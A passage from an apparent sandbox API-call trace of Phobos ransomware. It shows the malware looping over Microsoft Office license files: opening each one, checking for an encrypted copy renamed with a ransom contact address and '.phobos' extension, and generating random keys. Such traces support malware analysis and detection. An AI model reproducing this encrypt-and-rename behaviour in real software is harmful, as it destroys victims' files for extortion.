dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.505] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11594) returned 1 [0153.505] CloseHandle (hObject=0x564) returned 1 [0153.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.505] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.506] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19939) returned 1 [0153.506] CloseHandle (hObject=0x564) returned 1 [0153.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.507] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.507] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11155) returned 1 [0153.507] CloseHandle (hObject=0x564) returned 1 [0153.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-pl.xrm-ms")) returned 0x220 [0153.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.508] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.509] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20904) returned 1 [0153.509] CloseHandle (hObject=0x564) returned 1 [0153.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ppd.xrm-ms")) returned 0x220 [0153.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.509] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.510] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11606) returned 1 [0153.510] CloseHandle (hObject=0x564) returned 1 [0153.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ul-oob.xrm-ms")) returned 0x220 [0153.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.511] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.511] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6797) returned 1 [0153.511] CloseHandle (hObject=0x564) returned 1 [0153.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.512] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.512] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11629) returned 1 [0153.512] CloseHandle (hObject=0x564) returned 1 [0153.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.513] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.514] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=9621) returned 1 [0153.514] CloseHandle (hObject=0x564) returned 1 [0153.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul.xrm-ms")) returned 0x220 [0153.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.515] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.515] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10635) returned 1 [0153.515] CloseHandle (hObject=0x564) returned 1 [0153.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-pl.xrm-ms")) returned 0x220 [0153.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.520] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.521] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6732) returned 1 [0153.521] CloseHandle (hObject=0x564) returned 1 [0153.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ppd.xrm-ms")) returned 0x220 [0153.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.522] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.523] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11596) returned 1 [0153.523] CloseHandle (hObject=0x564) returned 1 [0153.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.523] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.524] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19941) returned 1 [0153.524] CloseHandle (hObject=0x564) returned 1 [0153.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.525] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.525] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10715) returned 1 [0153.525] CloseHandle (hObject=0x564) returned 1 [0153.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-pl.xrm-ms")) returned 0x220 [0153.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.526] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.527] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5960) returned 1 [0153.527] CloseHandle (hObject=0x564) returned 1 [0153.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ppd.xrm-ms")) returned 0x220 [0153.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.528] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.528] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11529) returned 1 [0153.528] CloseHandle (hObject=0x564) returned 1 [0153.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ul-oob.xrm-ms")) returned 0x220 [0153.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.529] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.530] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20798) returned 1 [0153.530] CloseHandle (hObject=0x564) returned 1 [0153.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ppd.xrm-ms")) returned 0x220 [0153.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program 